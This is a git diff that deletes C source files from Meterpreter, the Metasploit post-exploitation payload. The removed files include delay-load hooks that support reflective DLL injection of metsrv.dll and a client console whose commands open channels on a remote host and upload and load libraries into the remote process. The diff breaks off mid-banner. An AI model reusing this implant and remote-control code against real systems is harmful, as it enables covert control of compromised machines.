diff --git a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c b/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c deleted file mode 100644 index eb9e78f4..00000000 --- a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.c +++ /dev/null @@ -1,74 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "DelayLoadMetSrv.h" -#include "GetProcAddressR.h" - -// The handle to the injected metsrv.dll, needed for delay loading... -HMODULE hMetSrv = NULL; - -// All server extensions must support delay loading of metsrv.dll because this dll can be injected -// via reflective dll injection, as such normal calls to LoadLibrary/GetModuleHandle/GetProcAddress -// to resolve exports in metsrv.dll will not work as metsrv.dll will be 'invisible' to the native -// windows kernel32 api's. Theirfore we delay load metsrv.dll and intercept loading and resolving of -// its exports and resolve them using our own GetProcAddressR() function. -// -// To enable all of this in a new extnesion: -// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input). -// 2. Add in the include file #include "DelayLoadMetSrv.h". -// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes. -// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function. - -//===============================================================================================// - - - - -FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli ) -{ - switch( dliNotify ) - { - case dliNotePreLoadLibrary: - // If we are trying to delay load metsrv.dll we can just return the - // HMODULE of the injected metsrv library (set in InitServerExtension). - if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 ) - return (FARPROC)hMetSrv; - break; - case dliNotePreGetProcAddress: - // If we are trying to get the address of an exported function in the - // metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded - // via reflective dll injection - if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 ) - return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName ); - break; - default: - return NULL; - } - - return NULL; -} -//===============================================================================================// \ No newline at end of file diff --git a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h b/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h deleted file mode 100644 index e7d68109..00000000 --- a/c/meterpreter/source/DelayLoadMetSrv/DelayLoadMetSrv.h +++ /dev/null @@ -1,48 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H -#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -#define DELAYIMP_INSECURE_WRITABLE_HOOKS -#include - -#pragma comment (lib,"Delayimp.lib") - -// we use this like a macro to set the hook in an server extension that requires it -#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c - -extern HMODULE hMetSrv; - -FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli ); - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/c/meterpreter/source/client/console.c b/c/meterpreter/source/client/console.c deleted file mode 100644 index 3bcd373a..00000000 --- a/c/meterpreter/source/client/console.c +++ /dev/null @@ -1,546 +0,0 @@ -#include "metcli.h" - -// Core console commands -extern DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv); - -extern DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv); -extern DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv); - -/* - * Local client core command line dispatch table - */ -ConsoleCommand consoleCommands[] = -{ - // Core extensions - { "Core", NULL, "Core feature set commands", 1 }, - { "open", cmd_open, "Opens a communication channel.", 0 }, - { "read", cmd_read, "Reads from a communication channel.", 0 }, - { "write", cmd_write, "Writes to a communication channel.", 0 }, - { "close", cmd_close, "Closes a communication channel.", 0 }, - { "interact", cmd_interact, "Switch to interactive mode with a channel.", 0 }, - { "help", cmd_help, "Displays a list of commands.", 0 }, - { "exit", cmd_exit, "Exits the client.", 0 }, - - // Feature extensions - { "Features", NULL, "Feature extension commands", 1 }, - { "loadlib", cmd_loadlib, "Load a library on the remote machine.", 0 }, - { "use", cmd_use, "Use a feature module.", 0 }, - - // Terminator - { NULL, NULL, NULL, 0 }, -}; - -VOID console_read_thread_func(Remote *remote); - -ConsoleCommand *extendedCommandsHead = NULL; -ConsoleCommand *extendedCommandsTail = NULL; -Channel *interactiveChannel = NULL; -DWORD interactiveChannelId = 0; -PCHAR inputBuffer = NULL; -ULONG inputBufferLength = 0; -HANDLE consoleReadThread = NULL; - -/* - * Enable command history on the console and create the interactive console - * for future use. - */ -VOID console_initialize(Remote *remote) -{ - BOOL (WINAPI *setConsoleInputExeName)(LPCSTR base) = NULL; - CHAR name[1024]; - PCHAR slash; - float init = 1.1f; // VC++ requires float usage to use float libraries. - DWORD mode = 0; - DWORD tid; - - do - { - // Locate the SetConsoleInputExeNameA routine for use with custom - // history tracking - if (!((LPVOID)setConsoleInputExeName = - (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), - "SetConsoleInputExeNameA"))) - break; - - memset(name, 0, sizeof(name)); - - if (!GetModuleFileName( - GetModuleHandle(0), - name, - sizeof(name) - 1)) - break; - - if (!(slash = strrchr(name, '\\'))) - break; - - // investigate - setConsoleInputExeName(name); - - // Set the console window's title - SetConsoleTitle("meterpreter"); - - consoleReadThread = CreateThread(NULL, 0, - (LPTHREAD_START_ROUTINE)console_read_thread_func, remote, - 0, &tid); - - } while (0); -} - -/* - * Write a format string buffer to the console - */ -VOID console_write_output(LPCSTR fmt, ...) -{ - va_list ap; - - va_start(ap, fmt); - vfprintf(stdout, fmt, ap); - va_end(ap); -} - -/* - * Write raw output to the console - */ -VOID console_write_output_raw(PUCHAR buf, ULONG length) -{ - HANDLE pStdout = GetStdHandle(STD_OUTPUT_HANDLE); - DWORD written = 0; - - WriteFile(pStdout, buf, length, &written, NULL); -} - -/* - * Write the console prompt to the screen - */ -VOID console_write_prompt() -{ - fprintf(stdout, "meterpreter> "); - fflush(stdout); -} - -/* - * Generic output of success/fail - */ -DWORD console_generic_response_output(Remote *remote, Packet *packet, - LPCSTR subsys, LPCSTR cmd) -{ - DWORD res = packet_get_result(packet); - - if (res == ERROR_SUCCESS) - console_write_output( - "\n" - INBOUND_PREFIX " %s: %s succeeded.\n", subsys, cmd); - else - console_write_output( - "\n" - INBOUND_PREFIX " %s: %s failed, result %lu.\n", - subsys, cmd, packet_get_result(packet)); - - console_write_prompt(); - - return res; -} - -/* - * Check to see if an escape sequence has been sent to the console - * - * The escape sequence is: ESC - */ -BOOL console_check_escape_sent() -{ - BOOL escapeSent = FALSE; - INPUT_RECORD r[32]; - DWORD numRead = 0; - - if (PeekConsoleInput(GetStdHandle(STD_INPUT_HANDLE), - r, 32, &numRead)) - { - DWORD index = 0; - - for (index = 0; - (!escapeSent) && (index < numRead); - index++) - { - if (r[index].EventType != KEY_EVENT) - continue; - - // If the control key is pressed and the VK is escape.. - if (r[index].Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE) - escapeSent = TRUE; - } - } - - return escapeSent; -} - -/* - * Set the interactive channel for input/output overriding - */ -VOID console_set_interactive_channel(Remote *remote, Channel *channel) -{ - // If an interactive channel is use, unset the interactive flag - if (interactiveChannel) - channel_interact(interactiveChannel, remote, NULL, 0, FALSE, - NULL); - - interactiveChannel = channel; - interactiveChannelId = (channel) ? channel_get_id(channel) : 0; -} - -/* - * Get the interactive channel descriptor - */ -Channel *console_get_interactive_channel() -{ - return interactiveChannel; -} - -/* - * Get the interactive channel indentifier, if any - */ -DWORD console_get_interactive_channel_id() -{ - return interactiveChannelId; -} - -/* - * Process a remote cmomand when data is available - */ -DWORD console_remote_notify(Remote *remote, HANDLE notify) -{ - DWORD res; - - ResetEvent(notify); - - res = command_process_remote(remote, NULL); - - return res; -} - -/* - * Process console commands in a loop - * - * I would use the scheduler but allowing the file descriptor to drop - * into non-blocking mode makes things annoying. - */ -VOID console_process_commands(Remote *remote) -{ - SOCKET fd = remote_get_fd(remote); - struct timeval tv; - fd_set fdread; - LONG r; - - console_write_prompt(); - - // Execute the scheduler in a loop - while (1) - { - FD_ZERO(&fdread); - FD_SET(fd, &fdread); - - tv.tv_sec = 0; - tv.tv_usec = 100; - - if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0) - { - LONG bytes = 0; - - ioctlsocket(fd, FIONREAD, &bytes); - - if (bytes == 0) - { - console_write_output( - "\n" - "Connection reset by peer.\n"); - break; - } - - command_process_remote(remote, NULL); - } - else if (r < 0) - break; - - scheduler_run(remote, 0); - } -} - -VOID console_read_thread_func(Remote *remote) -{ - while (1) - console_read_buffer(remote); -} - -/* - * Reads in data from the input device, potentially calling the - * command processing function if a complete command has been read. - */ -VOID console_read_buffer(Remote *remote) -{ - DWORD newInputBufferLength, stringLength, offset; - Channel *interactiveChannel; - PCHAR newInputBuffer; - BOOL process = FALSE; - CHAR buf[4096]; - PCHAR eoln, eolr; - LONG bytesRead; - - // Ensure null termination - buf[sizeof(buf) - 1] = 0; - - do - { - // Is there data available? - if (WaitForSingleObject(GetStdHandle(STD_INPUT_HANDLE), INFINITE) - != WAIT_OBJECT_0) - break; - - // If a console escape character was sent and we're currently interactive, - // break out of interactive mode - if ((console_check_escape_sent()) && - (console_get_interactive_channel())) - { - console_set_interactive_channel(remote, NULL); - - console_write_output( - "\n" - "\n" - "Exiting interactive mode..\n"); - console_write_prompt(); - } - - // Read the command - if ((!ReadConsole(GetStdHandle(STD_INPUT_HANDLE), - buf, sizeof(buf) - 1, &bytesRead, NULL)) || (bytesRead <= 0)) - break; - - buf[bytesRead] = 0; - - // If an interactive channel is in use, write directly to it. - if ((interactiveChannel = console_get_interactive_channel())) - { - channel_write(interactiveChannel, remote, NULL, 0, buf, - bytesRead, NULL); - break; - } - - if ((eoln = strchr(buf, '\n'))) - { - *eoln = 0; - - process = TRUE; - } - - // Remove end of line characters - if ((eolr = strchr(buf, '\r'))) - *eolr = 0; - - // Calculate lengths - stringLength = strlen(buf); - newInputBufferLength = inputBufferLength + stringLength; - - if (inputBuffer) - newInputBuffer = (PCHAR)realloc(inputBuffer, - newInputBufferLength); - else - newInputBuffer = (PCHAR)malloc(++newInputBufferLength); - - // Allocation failure? - if (!newInputBuffer) - break; - - if ((offset = inputBufferLength)) - offset--; - - // Copy the string - memcpy(newInputBuffer + offset, buf, stringLength); - - // Update the input buffer - inputBuffer = newInputBuffer; - inputBufferLength = newInputBufferLength; - - // Process the full command line if it's completed - if (process) - { - inputBuffer[inputBufferLength - 1] = 0; - - client_acquire_lock(); - console_process_command(remote); - client_release_lock(); - - free(inputBuffer); - - inputBuffer = NULL; - inputBufferLength = 0; - - console_write_prompt(); - } - - } while (0); -} - -/* - * Parse the local command into an argument vector - * - * TODO: - * - * - Add character unescaping (\x01) - */ -VOID console_process_command(Remote *remote) -{ - CHAR **argv = NULL, *current; - ConsoleCommand *command = NULL; - UINT argc, index; - - do - { - // Calculate the number of arguments - for (current = inputBuffer, argc = 1; - current = strchr(current, ' '); - current++, argc++); - - current = inputBuffer; - index = 0; - - if (!(argv = (CHAR **)malloc(sizeof(PCHAR) * argc))) - break; - - // Populate the argument vector - while (1) - { - CHAR *space = NULL, *edquote = NULL; - - // If the first character of the current argument is a quote, - // find the next quote. - if (current[0] == '"') - { - if ((edquote = strchr(current + 1, '"'))) - *edquote = 0; - } - else if ((space = strchr(current, ' '))) - *space = 0; - - // If we're using quoting for this argument, skip one past current. - argv[index++] = _strdup(current + ((edquote) ? 1 : 0)); - current = ((edquote) ? edquote : space) + 1; - - if (space) - *space = ' '; - else if (edquote) - *edquote = '"'; - else - break; - } - - // Find the command - for (index = 0; - consoleCommands[index].name; - index++) - { - if (!strcmp(consoleCommands[index].name, argv[0])) - { - command = &consoleCommands[index]; - break; - } - } - - // If the command was not found in the default command list, try looking - // in the extended list - if (!command) - { - for (command = extendedCommandsHead; - command; - command = command->next) - { - if (!strcmp(command->name, argv[0])) - break; - } - } - - // The command was not found. - if ((!command) || (!command->name)) - break; - - command->handler(remote, argc, argv); - - } while (0); - - // Cleanup argv - if (argv) - { - for (index = 0; - index < argc; - index++) - free(argv[index]); - - free(argv); - } -} - -/* - * Dynamically registers a client command - */ -DWORD console_register_command(ConsoleCommand *command) -{ - ConsoleCommand *newConsoleCommand; - - if (!(newConsoleCommand = (ConsoleCommand *)malloc(sizeof(ConsoleCommand)))) - return ERROR_NOT_ENOUGH_MEMORY; - - memcpy(newConsoleCommand, command, sizeof(ConsoleCommand)); - - if (extendedCommandsTail) - extendedCommandsTail->next = newConsoleCommand; - - newConsoleCommand->prev = extendedCommandsTail; - newConsoleCommand->next = NULL; - extendedCommandsTail = newConsoleCommand; - - if (!extendedCommandsHead) - extendedCommandsHead = newConsoleCommand; - - return ERROR_SUCCESS; -} - -/* - * Dynamically deregisters a client command - */ -DWORD console_deregister_command(ConsoleCommand *command) -{ - ConsoleCommand *current, *prev; - DWORD res = ERROR_NOT_FOUND; - - // Search the extension list for the command - for (current = extendedCommandsHead, prev = NULL; - current; - prev = current, current = current->next) - { - if (strcmp(command->name, current->name)) - continue; - - if (prev) - prev->next = current->next; - else - extendedCommandsHead = current->next; - - if (current->next) - current->next->prev = prev; - - if (current == extendedCommandsTail) - extendedCommandsTail = current->prev; - - // Deallocate it - free(current); - - res = ERROR_SUCCESS; - - break; - } - - return res; -} diff --git a/c/meterpreter/source/client/console.h b/c/meterpreter/source/client/console.h deleted file mode 100644 index 58dd5feb..00000000 --- a/c/meterpreter/source/client/console.h +++ /dev/null @@ -1,53 +0,0 @@ -#ifndef _METERPRETER_CLIENT_CONSOLE_H -#define _METERPRETER_CLIENT_CONSOLE_H - -#define OUTBOUND_PREFIX ">>>" -#define INBOUND_PREFIX "<<<" - -VOID console_initialize(); - -/* - * Output processing - */ -LINKAGE VOID console_write_output(LPCSTR fmt, ...); -LINKAGE VOID console_write_output_raw(PUCHAR buf, ULONG length); -LINKAGE VOID console_write_prompt(); - -LINKAGE DWORD console_generic_response_output(Remote *remote, Packet *packet, - LPCSTR subsys, LPCSTR cmd); - -/* - * Interact channel - */ -LINKAGE VOID console_set_interactive_channel(Remote *remote, Channel *channel); -LINKAGE Channel *console_get_interactive_channel(); -LINKAGE DWORD console_get_interactive_channel_id(); - -/* - * Input processing - */ -typedef struct _ConsoleCommand -{ - LPCSTR name; - DWORD (*handler)(Remote *remote, UINT argc, CHAR **argv); - LPCSTR help; - BOOL separator; - - // Not stored - struct _ConsoleCommand *prev; - struct _ConsoleCommand *next; -} ConsoleCommand; - -LINKAGE VOID console_read_buffer(Remote *remote); -LINKAGE VOID console_process_command(Remote *remote); -LINKAGE VOID console_process_commands(Remote *remote); - -LINKAGE DWORD console_register_command(ConsoleCommand *command); -LINKAGE DWORD console_deregister_command(ConsoleCommand *command); - -LINKAGE VOID console_register_core_commands(); -LINKAGE VOID console_deregister_core_commands(); - -LINKAGE BOOL console_check_escape_sent(); - -#endif diff --git a/c/meterpreter/source/client/local_dispatch.c b/c/meterpreter/source/client/local_dispatch.c deleted file mode 100644 index b0b1b215..00000000 --- a/c/meterpreter/source/client/local_dispatch.c +++ /dev/null @@ -1,716 +0,0 @@ -#include "metcli.h" - -extern ConsoleCommand consoleCommands[]; -extern ConsoleCommand *extendedCommandsHead; - -/***************** - * Command: help * - *****************/ - -VOID cmd_help_output_command(ConsoleCommand *command) -{ - if (command->separator) - console_write_output( - "\n%13s %s\n" - " ------------ ---------------\n", - command->name, command->help); - else - console_write_output("%13s %s\n", command->name, - command->help); -} - -/* - * Print the help banner - */ -DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv) -{ - ConsoleCommand *current; - DWORD index; - - for (index = 0; - consoleCommands[index].name; - index++) - cmd_help_output_command(&consoleCommands[index]); - - for (current = extendedCommandsHead; - current; - current = current->next) - cmd_help_output_command(current); - - return ERROR_SUCCESS; -} - -/***************** - * Command: open * - *****************/ - -/* - * Opens a logical channel with the remote endpoint that is not tied to - * a stream - */ -DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv) -{ - DWORD res; - - if ((res = channel_open(remote, NULL, 0, NULL)) == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Requesting a new channel...\n"); - else - console_write_output( - "Error: channel_open failed, result %lu.\n", res); - - return res; -} - -/***************** - * Command: read * - *****************/ - -/* - * Channel completion routine for reading from a channel - */ -DWORD cmd_read_channel_complete(Remote *remote, Channel *channel, - LPVOID context, DWORD result, PUCHAR buffer, ULONG bytesRead) -{ - if (result == ERROR_SUCCESS && bytesRead > 0) - { - PCHAR tmp = (PCHAR)malloc(bytesRead + 1); - - if (tmp) - { - // Copy the buffer into tmp and null terminate it - memcpy(tmp, buffer, bytesRead); - tmp[bytesRead] = 0; - - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: read %lu bytes from channel %lu:\n" - "%s" - "\n", - bytesRead, channel_get_id(channel), tmp); - - free(tmp); - } - else - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: read %lu bytes, local allocation failed.\n", - bytesRead); - } - else if (result != ERROR_SUCCESS) - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: cmd_read failed, result %lu.\n", result); - - console_write_prompt(); - - return ERROR_SUCCESS; -} - -/* - * Reads in data from the remote endpoint of a channel - */ -DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv) -{ - ChannelCompletionRoutine complete; - DWORD channelId = 0, length = 4096; - DWORD res = ERROR_SUCCESS; - Channel *channel; - - do - { - // Check to see if the supplied channel identifier is valid - if (argc == 1) - { - console_write_output("Usage: read channel_id [length]\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - channelId = strtoul(argv[1], NULL, 10); - - // If a length was provided, use it. - if (argc > 2) - length = strtoul(argv[2], NULL, 10); - - if (!(channel = channel_find_by_id(channelId))) - { - console_write_output("Error: Could not locate channel %lu.\n", - channelId); - break; - } - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine.read = cmd_read_channel_complete; - - // Read the data in. - if ((res = channel_read(channel, remote, NULL, 0, length, - &complete)) - == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Requesting %lu bytes from channel %lu...\n", - length, channelId); - else - console_write_output("Error: channel_read failed, result %lu.\n", res); - - } while (0); - - return ERROR_SUCCESS; -} - -/****************** - * Command: write * - ******************/ - -/* - * Completion routine for a previous write - */ -DWORD cmd_write_channel_complete(Remote *remote, Channel *channel, - LPVOID context, DWORD result, ULONG bytesWritten) -{ - if (result == ERROR_SUCCESS) - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: Wrote %lu bytes to channel %lu.\n", - bytesWritten, channel_get_id(channel)); - else - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: write failed, result %lu.\n", - result); - - console_write_prompt(); - - return ERROR_SUCCESS; -} - -/* - * Writes the supplied text to the remote end of the channel - */ -DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv) -{ - ChannelCompletionRoutine complete; - DWORD channelId = 0; - DWORD res = ERROR_SUCCESS; - Channel *channel; - DWORD length = 0; - LONG bytesRead; - PCHAR buffer = NULL; - CHAR chunk[2048]; - - chunk[sizeof(chunk) - 1] = 0; - - do - { - // Check to see if the supplied channel identifier is valid - if (argc < 2) - { - console_write_output("Usage: write channel_id\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - channelId = strtoul(argv[1], NULL, 10); - - if (!(channel = channel_find_by_id(channelId))) - { - console_write_output("Error: Could not locate channel %lu.\n", - channelId); - break; - } - - console_write_output("Enter text, terminate with single-line '.':\n"); - - /* - * XXX: needs to not use stdin for non-cmd input - */ - while (fgets(chunk, sizeof(chunk) - 1, stdin)) - { - PCHAR newBuffer; - - if (chunk[0] == '.') - break; - - bytesRead = strlen(chunk); - - if (!buffer) - newBuffer = (PCHAR)malloc(bytesRead); - else - newBuffer = (PCHAR)realloc(buffer, length + bytesRead); - - if (!newBuffer) - { - if (buffer) - free(buffer); - - buffer = NULL; - - break; - } - - memcpy(newBuffer + length, chunk, bytesRead); - - buffer = newBuffer; - length += bytesRead; - } - - if (!buffer) - { - console_write_output( - "Error: No text was provided.\n"); - break; - } - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine.write = cmd_write_channel_complete; - - // Read the data in. - if ((res = channel_write(channel, remote, NULL, 0, buffer, - length, &complete)) - == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Writing %lu bytes to channel %lu...\n", - length, channelId); - else - console_write_output("Error: channel_write failed, result %lu.\n", res); - - free(buffer); - - } while (0); - - return ERROR_SUCCESS; -} - -/****************** - * Command: close * - ******************/ - -/* - * Closes a channel that was allocated with the remote endpoint - */ -DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv) -{ - DWORD res = ERROR_SUCCESS; - DWORD channelId; - Channel *channel; - - do - { - if (argc == 1) - { - console_write_output( - "Usage: close channel_id\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - channelId = strtoul(argv[1], NULL, 10); - - // Find the channel - if (!(channel = channel_find_by_id(channelId))) - { - console_write_output("Error: Could not locate channel id %lu.\n", - channelId); - - res = ERROR_NOT_FOUND; - break; - } - - if ((res = channel_close(channel, remote, NULL, 0, NULL)) - == ERROR_SUCCESS) - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Closing channel %lu...\n", channelId); - else - console_write_output("Error: channel_close failed, result %lu.\n", - res); - - } while (0); - - return res; -} - -/********************* - * Command: interact * - *********************/ - -/* - * Completion routine for when interact responds - */ -DWORD cmd_interact_complete(Remote *remote, Channel *channel, - LPVOID context, DWORD result) -{ - if (result == ERROR_SUCCESS) - { - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: Started interactive with channel %lu..\n\n", - channel_get_id(channel)); - - console_set_interactive_channel(remote, channel); - } - else - { - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: Failed to interact with channel %lu, result %lu.\n", - channel_get_id(channel)); - - console_write_prompt(); - } - - return ERROR_SUCCESS; -} - -/* - * Switches to interactive mode with a a provided channel - */ -DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv) -{ - ChannelCompletionRoutine complete; - DWORD res = ERROR_SUCCESS; - Channel *channel; - - do - { - if (argc == 1) - { - console_write_output( - "Usage: interact channel_id\n"); - res = ERROR_INVALID_PARAMETER; - break; - } - - // Try to find the channel context from the supplied identifier - if (!(channel = channel_find_by_id(strtoul(argv[1], NULL, 10)))) - { - console_write_output( - "Error: The channel identifier %s could not be found.\n", - argv[1]); - res = ERROR_NOT_FOUND; - break; - } - - console_write_output( - OUTBOUND_PREFIX " CHANNEL: Switching to interactive console on %lu.\n", - channel_get_id(channel)); - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine.interact = cmd_interact_complete; - - // Interact with the channel - res = channel_interact(channel, remote, NULL, 0, TRUE, - &complete); - - } while (0); - - return res; -} - -/***************** - * Command: exit * - *****************/ - -/* - * Exit the client - */ -DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv) -{ - exit(0); - - return ERROR_SUCCESS; -} - -/******************** - * Command: loadlib * - ********************/ - -/* - * Load library completion routine - */ -DWORD cmd_loadlib_complete(Remote *remote, Packet *packet, LPVOID context, - LPCSTR method, DWORD res) -{ - return console_generic_response_output(remote, packet, "PROCESS", "loadlib"); -} - -/* - * Loads a library into the context of the remote process - */ -DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv) -{ - PCHAR libraryPath = NULL, targetPath = NULL; - PacketRequestCompletion complete; - Packet *request = NULL; - BOOL printBanner = FALSE; - DWORD res = ERROR_SUCCESS; - ArgumentContext arg; - DWORD flags = 0; - - // Zero the argument context - memset(&arg, 0, sizeof(arg)); - - do - { - // No arguments? - if (argc == 1) - { - printBanner = TRUE; - break; - } - - // Default to being a local (to the remote machine) library - flags |= LOAD_LIBRARY_FLAG_LOCAL; - - // Parse the supplied arguments - while (args_parse(argc, argv, "f:t:lde", &arg) == ERROR_SUCCESS) - { - switch (arg.toggle) - { - case 'f': - libraryPath = arg.argument; - break; - case 't': - targetPath = arg.argument; - break; - case 'l': - // Unset the local library flag - flags &= ~(LOAD_LIBRARY_FLAG_LOCAL); - break; - case 'd': - flags |= LOAD_LIBRARY_FLAG_ON_DISK; - break; - case 'e': - flags |= LOAD_LIBRARY_FLAG_EXTENSION; - break; - default: - break; - } - } - - if (!targetPath) - targetPath = libraryPath; - - // Make sure that a library was supplied - if (!libraryPath) - { - console_write_output( - "Error: No library path was specified.\n"); - break; - } - - // Allocate the request packet - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, - "core_loadlib"))) - { - console_write_output( - "Error: Packet allocation failure.\n"); - break; - } - - // If the library is not local to the remote machine, parse the local - // copy into a data buffer to be transmitted to the remote host - if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) - { - PUCHAR buffer; - ULONG length; - - // Store the contents of the specified file in a buffer - if ((res = buffer_from_file(libraryPath, &buffer, &length)) - != ERROR_SUCCESS) - { - console_write_output( - "Error: The local file could not be parsed, result %lu.\n", - res); - break; - } - - // Add the file's contents as a data tlv - packet_add_tlv_raw(request, TLV_TYPE_DATA, buffer, - length); - - console_write_output( - OUTBOUND_PREFIX " PROCESS: Uploading local library '%s', %lu bytes.\n", - libraryPath, length); - - free(buffer); - } - - // Add the library path name & flags - packet_add_tlv_string(request, TLV_TYPE_LIBRARY_PATH, - libraryPath); - packet_add_tlv_uint(request, TLV_TYPE_FLAGS, - flags); - - if (targetPath) - packet_add_tlv_string(request, TLV_TYPE_TARGET_PATH, - targetPath); - - console_write_output( - OUTBOUND_PREFIX " PROCESS: Loading library from '%s' on remote machine.\n", - targetPath ? targetPath : libraryPath); - - // Initialize the completion routine - memset(&complete, 0, sizeof(complete)); - - complete.routine = cmd_loadlib_complete; - - // Transmit the request - res = packet_transmit(remote, request, &complete); - - } while (0); - - if (printBanner) - { - console_write_output( - "Usage: loadlib -f library [ -t target ] [ -lde ]\n\n" - " -f The path to the library to load, whether local or remote.\n" - " -t The target file on the remote machine in which to store the library when uploading.\n" - " -l The library is local to the client 